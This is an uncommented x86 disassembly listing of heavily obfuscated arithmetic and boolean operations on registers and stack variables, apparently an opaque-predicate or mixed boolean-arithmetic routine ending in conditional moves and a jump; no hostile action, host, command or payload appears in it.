mov edi, esi
xor edi, 0xca3b72f8
xor esi, 0xaffb164a
and esi, edi
mov ecx, esi
not ecx
mov eax, ecx
and eax, 0xc8e33267
and esi, 0x371ccd98
or esi, eax
mov eax, ebx
not eax
or ecx, eax
and eax, 0xc8e33267
and ebx, 0x371ccd98
or ebx, eax
xor ebx, esi
not ecx
or ecx, ebx
mov eax, ecx
xor eax, ecx
not eax
and eax, edx
xor eax, ecx
mov edx, dword [ebp - 0x14]
mov ecx, edx
and ecx, 0xa25c3400
mov esi, dword [ebp - 0x1c]
and esi, 0x5da3cbff
or esi, ecx
mov ecx, dword [ebp - 0x18]
xor ecx, 0x35c48d07
or edx, ecx
and ecx, 0xa25c3400
and edi, 0x5da3cbff
or edi, ecx
xor edi, esi
not edx
or edx, edi
not edx
or edx, eax
mov ecx, edx
not ecx
mov dword [ebp - 0x18], ecx
and ecx, 0xc1288a01
mov eax, edx
mov edi, edx
and eax, 0xc83504c
or eax, ecx
mov ecx, eax
xor ecx, 0x4801004
xor eax, 0xf37cafb3
mov edx, eax
and edx, 0x9a5b6f4a
and ecx, 0x45a09005
or ecx, edx
mov edx, edi
xor edx, 0xcdabda4d
and edx, edi
mov dword [ebp - 0x14], edi
mov esi, edx
not esi
or eax, esi
and esi, 0x9a5b6f4a
and edx, 0x65a490b5
or edx, esi
xor edx, ecx
not eax
or eax, edx
mov ecx, eax
xor ecx, 0x102092
xor eax, 0x45a38a04
and eax, 0x77e78f24
and ecx, 0x881870db
or ecx, eax
mov eax, ecx
xor eax, 0x8808508a
xor ecx, 0x12068204
and ecx, 0x1216a255
and eax, 0xede95daa
or eax, ecx
mov ebx, eax
xor ebx, 0x10100244
xor eax, 0x60a04da2
and eax, 0x62a6edb3
and ebx, 0x9d59124c
or ebx, eax
mov ecx, dword [ebp - 0x18]
and ecx, 0x7590678
mov eax, edi
and eax, 0xf8a6f987
or eax, ecx
mov ecx, ebx
xor ecx, 0x62a6edb3
mov edx, ebx
xor ebx, 0xee6b39e2
and ebx, ecx
mov dword [ebp - 0x20], ecx
mov edi, ebx
not edi
mov esi, edi
and esi, 0xf2bf2e64
and ebx, 0xd40d19b
or ebx, esi
xor edx, 0x9d59124c
mov esi, ecx
or esi, 0x73322bae
or edi, esi
mov ecx, edi
and esi, 0xf2bf2e64
mov edi, edx
and edi, 0xc40d011
or edi, esi
xor edi, ebx
not ecx
or ecx, edi
mov dword [ebp - 0x24], ecx
xor eax, 0x7590678
or eax, dword [ebp - 0x18]
mov esi, eax
xor esi, 0x8ccdd451
and esi, eax
mov ebx, esi
not ebx
mov edi, ebx
and edi, 0x2e2b811d
and esi, 0xd1d47ee2
or esi, edi
mov ecx, eax
not ecx
mov dword [ebp - 0x1c], ecx
mov ecx, eax
or ecx, 0x73322bae
or ebx, ecx
and ecx, 0x2e2b811d
mov edi, dword [ebp - 0x1c]
and edi, 0x80c45440
or edi, ecx
xor edi, esi
not ebx
or ebx, edi
xor ebx, dword [ebp - 0x24]
mov ecx, edx
and ecx, 0x168f9808
mov esi, dword [ebp - 0x20]
and esi, 0xe97067f7
or esi, ecx
mov ecx, dword [ebp - 0x1c]
or edx, ecx
and ecx, 0x168f9808
and eax, 0xe97067f7
or eax, ecx
xor eax, esi
not edx
or edx, eax
not edx
or edx, ebx
mov eax, edx
not eax
and edx, 0x6dc8cec9
and eax, 0x92373136
or eax, edx
mov esi, eax
xor esi, 0x2108cc80
mov ecx, eax
xor ecx, 0x92373136
mov edi, ecx
and ecx, 0x4ef11249
and esi, 0xb10eedb6
or esi, ecx
or edi, 0x60335ec7
xor eax, 0x5800008
mov ecx, edi
and ecx, 0x8a4ce5d7
and eax, 0x15800028
or eax, ecx
mov ecx, esi
xor ecx, 0x51311220
xor esi, 0x2ec24c8e
or edi, esi
and esi, 0x8a4ce5d7
and ecx, 0x75b31a28
or ecx, esi
xor ecx, eax
not edi
or edi, ecx
mov esi, dword [ebp - 0x18]
mov ecx, esi
and ecx, 0x45644dbe
mov edx, dword [ebp - 0x14]
mov eax, edx
and eax, 0xba9bb241
or eax, ecx
mov ecx, eax
xor ecx, 0x25571379
and esi, 0x780bc66a
and edx, 0x87f43995
or edx, esi
mov esi, edx
xor edx, 0x780bc66a
and edx, ecx
mov ecx, edi
not ecx
mov ebx, ecx
mov dword [ebp - 0x18], ecx
xor esi, 0x87f43995
xor eax, 0xdaa8ec86
and esi, eax
or edx, esi
not edx
or edx, eax
mov ecx, edx
mov eax, edi
and eax, 0x2ded01ce
mov edx, ebx
and edx, 0xd212fe31
or edx, eax
mov esi, ecx
not esi
mov eax, ecx
and eax, 0x57616710
mov ebx, esi
and esi, 0xa89e98ef
or esi, eax
xor esi, 0xbb87331c
or esi, ecx
mov eax, ecx
and eax, 0xa58d6574
and ebx, 0x5a729a8b
or ebx, eax
mov ecx, ebx
xor ecx, 0x5a729a8b
mov dword [ebp - 0x1c], ecx
xor ebx, 0xa58d6574
mov eax, ebx
and eax, 0xece6540c
and ecx, 0x1319abf3
or ecx, eax
mov eax, edx
xor eax, 0xd212fe31
xor edx, 0x2ded01ce
mov dword [ebp - 0x14], edx
and edx, 0x210e228d
not ecx
or ecx, ebx
mov dword [ebp - 0x20], ecx
mov ecx, eax
xor ecx, ebx
and ecx, eax
mov dword [ebp - 0x24], ecx
and ebx, eax
and eax, 0xdef1dd72
or eax, edx
mov ecx, edi
mov edx, edi
and edx, 0x1319abf3
mov edi, dword [ebp - 0x18]
and edi, 0xece6540c
or edi, edx
xor ecx, edi
and ecx, edi
mov dword [ebp - 0x18], ecx
xor eax, 0x3217897e
or eax, dword [ebp - 0x14]
mov edx, eax
not edx
mov edi, ecx
not edi
mov ecx, edx
xor ecx, edi
and ecx, edx
and eax, 0xee9a5ade
and edx, 0x1165a521
or edx, eax
and edi, 0xee9a5ade
mov eax, dword [ebp - 0x18]
and eax, 0x1165a521
or eax, edi
xor eax, edx
or eax, ecx
mov edi, eax
mov eax, dword [ebp - 0x20]
mov ecx, eax
or ecx, esi
xor esi, eax
mov eax, esi
not eax
mov edx, eax
and edx, 0xa93a39c0
and esi, 0x56c5c63f
or esi, edx
xor esi, ecx
or eax, ecx
xor esi, 0x56c5c63f
not eax
or eax, esi
mov ecx, eax
not ecx
mov edx, ecx
and edx, 0xaec39467
and eax, 0x513c6b98
or eax, edx
xor eax, edi
or ecx, edi
xor eax, 0xaec39467
and eax, edi
not ecx
or eax, ecx
mov ecx, dword [ebp - 0x1c]
and ecx, dword [ebp - 0x14]
or ebx, ecx
or ebx, dword [ebp - 0x24]
mov ecx, ebx
not ecx
mov edx, ecx
and edx, 0x6da99f88
mov esi, ebx
and esi, 0x92566077
or esi, edx
mov edx, esi
xor edx, 0x10000030
xor esi, 0x65000800
or ecx, 0x67062805
or esi, 0x80109542
and esi, 0xe716bd47
and edx, 0x18a100b8
or edx, esi
and ecx, 0xe716bd47
and ebx, 0x484200
or ebx, ecx
xor ebx, edx
mov esi, ebx
xor esi, 0x400042
xor ebx, 0x7fa728bd
mov ecx, eax
xor ecx, ebx
and ecx, eax
and ebx, 0xa73aff3c
and esi, 0x58c500c3
or esi, ebx
xor esi, eax
mov eax, esi
xor eax, 0x2104f2c
mov edx, ecx
not edx
xor esi, 0x58c500c3
mov edi, edx
and edi, 0xe56ab050
and ecx, 0x1a954faf
or ecx, edi
or edx, esi
and esi, 0xe56ab050
and eax, 0x1a954faf
or eax, esi
xor eax, ecx
not edx
or edx, eax
mov eax, edx
not eax
mov ecx, eax
and ecx, 0xf809b2be
mov esi, edx
xor esi, 0xf809b2be
and esi, edx
or esi, ecx
mov ecx, esi
xor ecx, 0x6040c00
xor esi, 0xa009b0aa
and esi, 0xa1fbf1eb
and ecx, 0x5e040e14
or ecx, esi
mov esi, ecx
xor esi, 0x5e040e14
xor ecx, 0x210a1100
and ecx, 0x370a1914
mov edi, esi
and edi, 0xc8f5e6eb
or edi, ecx
xor edi, 0x7c490390
and esi, 0x4b431a84
or esi, edi
mov ecx, eax
and ecx, 0x7f9d8f8e
and edx, 0x80627071
or edx, ecx
xor edx, 0xcb216af5
xor eax, edx
and eax, edx
mov ecx, eax
not ecx
mov dword [ebp - 0x14], ecx
and ecx, 0x9bb0ff42
mov edi, eax
and edi, 0x644f00bd
or edi, ecx
mov ecx, edi
xor ecx, 0x644f00bd
mov ebx, esi
xor ebx, 0xce2534cf
mov edx, ebx
and edx, esi
or ecx, esi
mov dword [ebp - 0x18], ecx
not esi
and ebx, esi
mov esi, edx
not esi
mov ecx, esi
and ecx, 0x6c5c180b
and edx, 0x93a3e7f4
or edx, ecx
mov ecx, ebx
not ecx
or esi, ecx
and ecx, 0x6c5c180b
and ebx, 0x93a3e7f4
or ebx, ecx
xor ebx, edx
not esi
or esi, ebx
mov ecx, edi
xor ecx, 0x11004000
or ecx, 0x822024c5
xor edi, 0x80020
and ecx, 0xb36264d5
and edi, 0x988b20
or edi, ecx
mov ecx, dword [ebp - 0x14]
or ecx, 0x31424010
and ecx, 0xb36264d5
and eax, 0x4c05100a
or eax, ecx
xor eax, edi
xor eax, esi
mov ecx, eax
not ecx
mov edx, ecx
and edx, 0x4f636814
and eax, 0xb09c97eb
or eax, edx
mov edx, dword [ebp - 0x18]
xor eax, edx
xor eax, 0xb09c97eb
or ecx, edx
not ecx
or ecx, eax
mov eax, ecx
xor eax, 0x2b704443
xor ecx, 0xd48fbbbc
mov edx, ecx
and edx, 0x821c904a
and ecx, eax
and eax, 0x7de36fb5
or eax, edx
mov edx, eax
xor edx, 0x1ca04a01
xor eax, 0x821c904a
mov esi, ecx
not esi
mov edi, eax
and edi, 0xe35b25fc
and edx, 0x1ca4da03
or edx, edi
or eax, esi
and esi, 0xe35b25fc
and ecx, 0x1ca4da03
or ecx, esi
xor ecx, edx
not eax
or eax, ecx
mov edx, eax
not edx
and eax, 0xc9ec0884
and edx, 0x3613f77b
or edx, eax
mov esi, edx
xor esi, 0x3613f77b
mov eax, edx
xor eax, 0xc9ec0884
xor edx, 0xc79586b4
and edx, esi
and esi, 0x6ef587bc
mov ecx, eax
and ecx, 0x910a7843
or ecx, esi
xor ecx, 0x910a7843
or ecx, eax
and eax, 0xf18671cf
or edx, eax
mov eax, edx
xor eax, 0xf18671cf
xor edx, 0xe798e30
mov esi, edx
and esi, 0xb3666cf5
and eax, 0x4c99930a
or eax, esi
xor eax, ecx
xor eax, 0x4c99930a
or edx, ecx
not edx
or edx, eax
mov esi, edx
not esi
mov eax, esi
and eax, 0xa0030081
mov edi, edx
and edi, 0x184cd01e
or edi, eax
xor edi, 0x184cd01e
mov ecx, esi
and ecx, 0x47b02f60
or ecx, edi
mov edi, ecx
not edi
mov dword [ebp - 0x14], edi
and edi, 0xaa97171
mov ebx, ecx
and ebx, 0xf5568e8e
or ebx, edi
mov eax, ebx
xor eax, 0xf5568e8e
xor ebx, 0x2005061
and ebx, 0xa654d463
mov edi, eax
and edi, 0x59ab2b9c
or edi, ebx
xor edi, 0xbbd0818d
and eax, 0x1d8455ee
or eax, edi
and edx, 0x596ff6c9
mov edi, esi
and edi, 0xa6900936
or edi, edx
xor edi, 0xbb145cd8
and esi, 0xe27baa11
or esi, edi
mov edx, eax
not edx
mov edi, eax
and edi, 0xa2acc817
and edx, 0x5d5337e8
or edx, edi
mov edi, esi
not edi
or eax, esi
mov ebx, esi
xor esi, 0x5d5337e8
and esi, edi
and ebx, 0xa2acc817
or esi, ebx
mov ebx, esi
xor ebx, esi
not ebx
and ebx, edx
xor ebx, esi
mov edx, ebx
not edx
mov esi, edx
and esi, 0xcbe1d1e8
and ebx, 0x341e2e17
or ebx, esi
xor ebx, eax
xor ebx, 0x341e2e17
or edx, eax
not edx
or edx, ebx
mov ebx, dword [ebp - 0x14]
mov eax, ebx
and eax, 0x5dadba87
mov edi, ecx
and edi, 0xa2524578
or edi, eax
mov esi, edx
xor esi, 0xe27baa11
and ecx, 0x5dadba87
mov eax, ebx
and eax, 0xa2524578
or eax, ecx
xor eax, edi
mov ecx, eax
not ecx
and eax, 0xd71e1878
and ecx, 0x28e1e787
or ecx, eax
mov eax, ecx
xor eax, 0x950e0020
xor ecx, 0x20808503
and ecx, 0x62909d5b
and eax, 0x9d6f62a4
or eax, ecx
mov ecx, eax
xor ecx, 0x85436220
xor eax, 0x60908d53
and eax, 0x78bc8dd7
and ecx, 0x87437228
or ecx, eax
mov eax, ecx
xor eax, 0x3417008
xor ecx, 0x78bc8dd7
mov edi, esi
xor edi, ecx
and edi, esi
xor edx, 0x14800120
and edx, 0xf4920b31
and esi, 0xb6df4ce
or esi, edx
and ecx, 0xf4920b31
and eax, 0xb6df4ce
or eax, ecx
xor eax, esi
or eax, edi
mov edx, eax
not edx
mov ecx, edx
and ecx, 0xd00bfcf5
mov esi, eax
and esi, 0x2ff4030a
or esi, ecx
mov ecx, esi
xor ecx, 0xa400208
xor esi, 0x10000004
mov edi, edx
or edi, 0x14340104
or esi, 0x81009c10
and esi, 0x95349d14
and ecx, 0x4a432289
or ecx, esi
and edi, 0x95349d14
and eax, 0x20884062
or eax, edi
xor eax, ecx
mov ecx, eax
xor ecx, 0xa008cc02
xor eax, 0x5e77238d
and ecx, 0xbe4fec0e
mov esi, eax
and esi, 0x41b013f1
or esi, ecx
xor esi, 0x273b629d
and eax, 0x99748e93
or eax, esi
mov ecx, eax
not ecx
or edx, 0x668b716c
mov esi, ecx
xor esi, edx
and esi, ecx
xor ecx, eax
and ecx, edx
xor ecx, eax
or ecx, esi
mov edx, ecx
not edx
mov eax, ecx
xor eax, 0x99748e93
and eax, ecx
or ecx, 0x668b716c
mov esi, eax
not esi
mov edi, ecx
and edi, 0x5b50a57f
and edx, 0x80240a80
or edx, edi
or ecx, esi
and esi, 0x5b50a57f
and eax, 0xa4af5a80
or eax, esi
xor eax, edx
not ecx
or ecx, eax
mov eax, ecx
not eax
mov esi, eax
or esi, 0x70d02007
mov edx, ecx
or edx, 0x29460
and edx, 0x70d2b467
mov edi, eax
and edi, 0xa254000
or edi, edx
and esi, 0x70d2b467
mov edx, ecx
and edx, 0x85080b98
or edx, esi
xor edx, edi
xor edx, 0x850a9ff8
and eax, 0xf653f21d
and ecx, 0x9ac0de2
or ecx, eax
xor ecx, 0x9ac0de2
or ecx, edx
xor ecx, 0x6d6c56cd
cmp ecx, 0x9293a932
setne dl
cmp dword [0x10049904], 0xa
setl ch
setge ah
mov cl, ah
or cl, dl
mov dh, cl
xor dh, 1
mov al, dh
and al, cl
xor dh, al
xor al, 1
or al, cl
xor al, 1
or al, dh
mov cl, al
xor cl, 1
mov dh, dl
inc dh
mov ebx, edx
and bl, dh
xor bl, 1
or bl, dl
xor bl, 1
or bl, dh
inc ah
mov edx, ebx
xor dl, 1
or ah, dl
mov dh, ah
xor dh, 1
and dl, bl
xor dl, 1
mov bh, bl
xor bh, dl
or dl, bl
xor dl, 1
or dl, bh
mov bl, ch
xor bl, dl
or dl, ch
xor dl, 1
or dl, bl
xor dl, 1
xor ah, dl
mov ch, dh
xor ch, dl
xor ah, 1
or dl, dh
xor dl, 1
or dl, ah
xor dl, 1
or dl, ch
mov ah, dl
xor ah, 1
mov ch, dl
and ch, ah
xor ch, 1
mov dh, ch
xor dh, ah
or ch, ah
xor ch, 1
or ch, dh
mov dh, ch
xor dh, 1
and ch, dh
xor ch, 1
mov bl, dh
xor bl, ch
or ch, dh
xor ch, 1
or ch, bl
mov ebx, eax
xor bl, ch
and bl, ch
mov bh, ch
or bh, cl
mov dh, bh
xor dh, 1
and dh, bh
xor dh, 1
mov ch, dh
xor ch, bh
or dh, bh
xor dh, 1
or dh, ch
xor dh, bl
mov ch, bl
xor ch, 1
or ch, bh
xor ch, 1
or ch, dh
xor ah, cl
or al, ah
or dl, cl
and ah, cl
xor ah, 1
mov cl, ah
xor cl, dl
or ah, dl
xor ah, 1
or ah, cl
mov cl, ah
xor cl, al
xor al, 1
mov edx, eax
xor dl, ah
or al, ah
xor al, 1
or al, dl
mov edx, ecx
xor dl, al
or al, cl
xor al, 1
or al, dl
mov cl, al
xor cl, 1
xor ch, 1
mov dl, ch
xor dl, al
or al, ch
and dl, cl
or ch, cl
xor ch, 1
or ch, dl
mov cl, ch
xor cl, 1
and ch, cl
xor ch, 1
mov dl, ch
xor dl, cl
or ch, cl
xor ch, 1
or ch, dl
mov dl, ch
and dl, al
or cl, al
xor al, 1
xor ch, 1
and ch, al
or ch, dl
mov edx, ecx
xor dl, ch
test cl, 1
mov eax, 0xaefe3d98
mov esi, 0xf5d7e23a
cmovne eax, esi
test ch, 1
cmove eax, esi
test dl, 1
mov ecx, 0xaefe3d98
cmove eax, ecx
jmp 0x1000f5c0
mov eax, dword [0x10049900]
lea edi, [eax + 1]
imul edi, eax
mov esi, edi
not esi
mov eax, esi
and eax, edi
mov ecx, edi
and ecx, 0x20e8a513
mov edx, esi
mov ebx, esi
and edx, 0xdf175aec
or edx, ecx
mov esi, eax
not esi
mov ecx, edi
mov dword [ebp - 0x20], edi
or ecx, esi
and esi, 0x20e8a513
and eax, 0xdf175aec
or eax, esi
xor eax, edx
mov dword [ebp - 0x1c], ebx
mov esi, ebx
not ecx
or ecx, eax
mov edx, ecx
not edx
and ecx, 0x32dca93c
and edx, 0xcd2356c3
or edx, ecx
mov eax, edx
xor eax, 0x95004f4f
xor edx, 0xcd2356c3
and edx, eax
and esi, 0x1d4b2d6a
mov eax, edi
and eax, 0xe2b4d295
or eax, esi
xor eax, 0xba97cb19
mov esi, eax
xor esi, ebx
and esi, eax
mov ecx, edx
xor ecx, 0x4b0cbb6b
mov eax, ecx
and ecx, edx
not edx
mov dword [ebp - 0x14], edx
and eax, edx
or ecx, eax
mov edi, esi
xor edi, 0x4b0cbb6b
and edi, esi
mov edx, esi
or esi, 0xb4f34494
not edx
mov eax, esi
and eax, 0xcb0160f1
mov ebx, edx
and ebx, 0xc9b0a
or ebx, eax
mov eax, edi
not eax
or esi, eax
and eax, 0xcb0160f1
and edi, 0x34fe9f0e
or edi, eax
xor edi, ebx
not esi
or esi, edi
mov edi, esi
xor edi, esi
not edi
and edi, ecx
xor edi, esi
or edx, dword [ebp - 0x14]
mov eax, edi
not eax
mov ecx, eax
and ecx, 0xd3aceb47
and edi, 0x2c5314b8
or edi, ecx
xor edi, edx
xor edi, 0x2c5314b8
or eax, edx
not eax
or eax, edi
mov edx, eax
not edx
mov ecx, eax
xor ecx, 0x81520295
and ecx, eax
or eax, 0x7eadfd6a
mov esi, eax
and esi, 0x158168bb
and edx, 0x80520204
or edx, esi
mov esi, ecx
not esi
or eax, esi
and esi, 0x158168bb
and ecx, 0xea7e9744
or ecx, esi
xor ecx, edx
not eax
or eax, ecx
mov ecx, eax
xor ecx, 0xd9711b19
xor eax, 0x268ee4e6
mov edx, eax
and edx, 0x180c0100
and ecx, 0x200400
or ecx, edx
mov ebx, dword [ebp - 0x1c]
mov edx, ebx
xor ecx, 0x200400
and eax, 0x52ca
add eax, ecx
add eax, 0xe7d3a835
mov ecx, eax
not ecx
and eax, 0x8f594970
and ecx, 0x70a6b68f
or ecx, eax
mov esi, ecx
xor esi, 0x50029088
xor ecx, 0x89190820
and ecx, 0xa9bd2e27
and esi, 0x5642d1d8
or esi, ecx
and edx, 0x102042c0
mov edi, dword [ebp - 0x20]
mov eax, edi
and eax, 0x80c150a
or eax, edx
xor eax, 0x80c150a
mov edx, edi
and edx, 0xe7d3a835
or edx, eax
mov eax, edx
not eax
mov ecx, ebx
and ecx, eax
and edx, edi
or edx, ecx
not edx
or edx, eax
mov dword [ebp - 0x18], edx
mov eax, esi
xor eax, 0x5642d1d8
xor esi, 0xa9bd2e27
mov ecx, esi
and ecx, 0xcb33820f
mov edi, eax
and edi, 0x34cc7df0
or edi, ecx
mov ebx, edx
not ebx
mov dword [ebp - 0x28], ebx
mov ecx, edx
and ecx, 0x68942602
mov edx, ebx
and edx, 0x7210090
or edx, ecx
xor edx, 0x7210090
mov ebx, dword [ebp - 0x28]
and ebx, 0x904ad96d
or ebx, edx
mov ecx, edi
xor edi, 0x34cc7df0
mov dword [ebp - 0x2c], edi
xor ecx, 0xcb33820f
mov dword [ebp - 0x24], ecx
and ecx, 0x752484f8
and edi, 0x8adb7b07
or edi, ecx
xor edi, 0xf4832dda
mov edx, edi
xor edx, dword [ebp - 0x24]
and edx, edi
mov ecx, esi
and ecx, 0x7e5856dd
and eax, 0x81a7a922
or eax, ecx
xor esi, eax
and esi, eax
mov ecx, ebx
xor ecx, 0x904ad96d
mov dword [ebp - 0x30], ecx
xor ebx, 0x6fb52692
mov eax, ebx
mov dword [ebp - 0x34], ebx
and eax, 0x81a7a922
and ecx, 0x7e5856dd
or ecx, eax
mov eax, ecx
xor eax, ebx
and eax, ecx
mov dword [ebp - 0x14], eax
mov edi, dword [ebp - 0x28]
and edi, 0xdb0b3dc1
mov ecx, dword [ebp - 0x18]
mov eax, ecx
and eax, 0x24f4c23e
or eax, edi
xor eax, 0xa5536b1c
and ecx, 0x7e5856dd
or ecx, eax
mov dword [ebp - 0x18], ecx
mov edi, edx
not edi
mov eax, esi
xor eax, 0x74ea726
mov ecx, eax
and eax, esi
mov ebx, esi
not ebx
and ecx, ebx
or ebx, edi
mov esi, edi
and esi, 0x74ea726
and edx, 0xf8b158d9
or edx, esi
mov esi, ecx
not esi
mov edi, esi
and edi, 0x5dabd2c
and ecx, 0xfa2542d3
or ecx, edi
mov edi, eax
not edi
or esi, edi
and edi, 0x5dabd2c
and eax, 0xfa2542d3
or eax, edi
xor eax, ecx
not esi
or esi, eax
xor esi, edx
mov eax, esi
not eax
mov ecx, eax
and ecx, 0x2ad617d7
and esi, 0xd529e828
or esi, ecx
mov ecx, ebx
not ecx
or eax, ebx
and ebx, 0x2ad617d7
and ecx, 0xd529e828
or ecx, ebx
xor ecx, esi
not eax
or eax, ecx
mov dword [ebp - 0x28], eax
mov eax, dword [ebp - 0x18]
mov ebx, eax
not ebx
and eax, 0xda4867b2
mov edx, ebx
and edx, 0x25b7984d
or edx, eax
mov ecx, edx
xor ecx, 0x25b7984d
mov esi, ecx
and esi, 0xd0fd4876
and ebx, 0x2f02b789
or ebx, esi
mov eax, dword [ebp - 0x14]
mov edi, eax
not edi
or eax, 0x28029389
and eax, 0xf8ef93b9
mov esi, edi
and esi, 0x104846
or esi, eax
xor esi, ebx
mov eax, edi
or eax, 0xd0ed0030
and eax, 0xf8ef93b9
mov ebx, dword [ebp - 0x14]
and ebx, 0x7002400
or ebx, eax
xor ebx, esi
mov esi, dword [ebp - 0x14]
mov eax, esi
and eax, 0x8e3023dd
and edi, 0x71cfdc22
or edi, eax
xor edx, 0xda4867b2
or esi, edx
and edx, 0x8e3023dd
and ecx, 0x71cfdc22
or ecx, edx
xor ecx, edi
not esi
or esi, ecx
not esi
or esi, ebx
mov edx, dword [ebp - 0x28]
not edx
mov eax, esi
not eax
mov ecx, eax
xor ecx, edx
and ecx, esi
and eax, 0x2ebd8b8b
and esi, 0xd1427474
or esi, eax
xor esi, 0x2ebd8b8b
or esi, edx
not esi
or esi, ecx
mov eax, dword [ebp - 0x2c]
mov ecx, eax
mov edi, dword [ebp - 0x34]
xor ecx, edi
and ecx, eax
mov edx, dword [ebp - 0x24]
and edx, 0x8d285e3e
and eax, 0x72d7a1c1
or eax, edx
and edi, 0x8d285e3e
mov edx, edi
mov edi, dword [ebp - 0x30]
and edi, 0x72d7a1c1
or edi, edx
xor edi, eax
mov eax, ecx
not eax
mov edx, eax
and edx, 0x1f236eda
and ecx, 0xe0dc9125
or ecx, edx
mov edx, edi
not edx
or eax, edx
and edx, 0x1f236eda
and edi, 0xe0dc9125
or edi, edx
xor edi, ecx
not eax
or eax, edi
mov edx, eax
not edx
mov ecx, esi
not ecx
and edx, ecx
or ecx, eax
and eax, esi
not ecx
or eax, edx
or eax, ecx
mov edi, eax
not edi
mov ecx, edi
and ecx, 0x5140e8cf
mov edx, eax
and edx, 0xaebf1730
or edx, ecx
xor edx, 0xaebf1730
mov esi, edi
and esi, eax
or esi, edx
mov ecx, esi
xor ecx, 0x12911b8e
and ecx, esi
mov esi, edi
or esi, 0xc86e8441
and eax, 0x281000e
and esi, 0xd87e9fc1
or esi, eax
mov edx, esi
xor edx, 0xd87e9fc1
xor esi, 0x2781603e
mov eax, ecx
xor eax, esi
and eax, ecx
xor esi, edx
and esi, ecx
xor esi, edx
mov ebx, esi
mov edi, dword [ebp - 0x1c]
mov edx, edi
and edx, 0xa134f75
mov esi, dword [ebp - 0x20]
mov ecx, esi
and esi, 0xf5ecb08a
or esi, edx
xor esi, 0x902798d1
or esi, edi
mov edx, edi
or ebx, eax
and edx, 0x853c993a
and ecx, 0x7ac366c5
or ecx, edx
mov edx, ecx
xor edx, 0x20c00001
xor ecx, 0x5080802
and ecx, 0x450b2842
and edx, 0x20c00019
or edx, ecx
mov ecx, edx
xor ecx, 0x20c00019
or ecx, 0x9a34d7a4
xor edx, 0x22800
mov eax, ecx
or eax, esi
and ecx, 0xed1d92c3
and edx, 0xc22818
or edx, ecx
xor edx, esi
mov ecx, edx
xor ecx, 0x12e26d3c
xor edx, 0xed1d92c3
mov esi, edx
and esi, 0x4d6a5604
and ecx, 0xb295a9fb
or ecx, esi
or edx, eax
and eax, 0x6deb7e5f
xor eax, ecx
xor eax, 0x2081285b
not edx
or edx, eax
mov ecx, edx
xor ecx, 0x1d28f72c
mov eax, edx
xor eax, 0x9a34d7a4
and eax, edx
or edx, 0x65cb285b
mov edi, edx
mov esi, edx
and esi, 0xa67f92cb
and ecx, 0x18004524
or ecx, esi
mov esi, eax
not esi
or edi, esi
and esi, 0xa67f92cb
and eax, 0x59806d34
or eax, esi
mov edx, ebx
xor edx, 0xabd4c45
xor eax, ecx
not edi
or edi, eax
xor ebx, 0xf542b3ba
mov eax, edx
or eax, 0x45418c2
and eax, 0x4754f9c2
mov esi, ebx
and esi, 0x98810631
or esi, eax
mov eax, ebx
mov dword [ebp - 0x24], ebx
or eax, 0x4300e100
and eax, 0x4754f9c2
mov dword [ebp - 0x18], edx
mov ecx, edx
and ecx, 0x202a000c
or ecx, eax
xor ecx, esi
mov eax, ecx
xor eax, 0x4660042
xor ecx, 0x1181e601
and ecx, 0x3199fe8d
and eax, 0xce660172
or eax, ecx
mov ecx, ebx
and ecx, 0x21d4cb01
mov esi, edx
and esi, 0xde2b34fe
or esi, ecx
xor esi, 0x9bba7d47
mov edx, esi
xor edx, ebx
and edx, esi
mov ecx, edi
not ecx
mov dword [ebp - 0x20], ecx
mov esi, edi
mov dword [ebp - 0x14], edi
or esi, 0x41208800
and esi, 0x61728d4b
mov ebx, ecx
and ebx, 0x806004
or ebx, esi
mov esi, ecx
or esi, 0x2052054b
and esi, 0x61728d4b
and edi, 0x9e0d12b0
or edi, esi
xor edi, ebx
mov esi, edi
xor esi, 0x8c049030
xor edi, 0x104104
and edi, 0x53394b84
and esi, 0xacc6b47b
or esi, edi
mov ecx, esi
xor ecx, 0xacc6b47b
xor esi, 0x13300380
and esi, 0xb332b7d8
mov edi, ecx
and edi, 0x4ccd4827
or edi, esi
xor edi, 0xf6a3fe61
and ecx, 0x459149b9
or ecx, edi
mov dword [ebp - 0x1c], ecx
mov esi, eax
xor esi, 0x8a660042
or esi, 0x459149b9
mov edi, esi
not edi
xor eax, 0xa04c9002
and eax, edi
mov ebx, esi
xor ebx, 0x6fbbd9e8
and ebx, esi
mov edi, ebx
not edi
mov ecx, edi
and ecx, 0x1b47092e
and ebx, 0xa028b640
or ebx, ecx
mov ecx, eax
not ecx
or edi, ecx
and ecx, 0x1b47093f
and eax, 0xa028b640
or eax, ecx
xor eax, ebx
not edi
or edi, eax
mov ebx, edx
xor ebx, 0x90442617
and ebx, edx
mov eax, edx
not edx
or eax, 0x6fbbd9e8
mov ecx, eax
and ecx, 0x421f14de
or esi, edx
and edx, 0x90402201
or edx, ecx
mov ecx, ebx
not ecx
or eax, ecx
and ecx, 0x421f14de
and ebx, 0xbde0eb21
or ebx, ecx
xor ebx, edx
not eax
or eax, ebx
xor eax, edi
mov edi, eax
not edi
mov ecx, edi
and ecx, 0x5246ae8c
and eax, 0xadb95173
or eax, ecx
or edi, esi
and esi, 0xfa6ebece
xor esi, eax
xor esi, 0xa8281042
not edi
or edi, esi
mov eax, dword [ebp - 0x20]
or eax, 0xba6eb646
mov ebx, eax
not ebx
and eax, 0xf14163f1
mov ecx, eax
mov eax, dword [ebp - 0x14]
xor eax, 0x41114819
and eax, ebx
mov dword [ebp - 0x14], eax
and ebx, 0x4900808
or ebx, ecx
mov dword [ebp - 0x20], ebx
mov esi, dword [ebp - 0x1c]
mov eax, esi
xor eax, 0xaec615a0
and eax, esi
mov ecx, eax
not ecx
mov edx, ecx
and edx, 0x71859daf
and eax, 0x8e7a6250
or eax, edx
mov ebx, esi
not ebx
mov dword [ebp - 0x28], ebx
mov edx, esi
or edx, 0x5139ea5f
or ecx, edx
and edx, 0x71859daf
and ebx, 0x8e420000
or ebx, edx
xor ebx, eax
not ecx
or ecx, ebx
mov ebx, dword [ebp - 0x20]
mov esi, ebx
xor esi, 0xebe9c0e
xor ebx, 0xa07889ae
and ebx, esi
mov eax, ebx
not eax
mov edx, eax
and edx, 0xe98501a0
and ebx, 0x1418e81f
or ebx, edx
mov edx, dword [ebp - 0x14]
not edx
or eax, edx
and edx, 0xe9a503e0
and dword [ebp - 0x14], 0x4104819
add dword [ebp - 0x14], edx
mov edx, dword [ebp - 0x14]
xor edx, ebx
not eax
or eax, edx
xor eax, ecx
mov edx, dword [ebp - 0x28]
mov ecx, edx
and ecx, 0xe4a94925
mov ebx, dword [ebp - 0x1c]
and ebx, 0x1b56b6da
or ebx, ecx
mov ecx, dword [ebp - 0x20]
xor ecx, 0xf14163f1
or edx, ecx
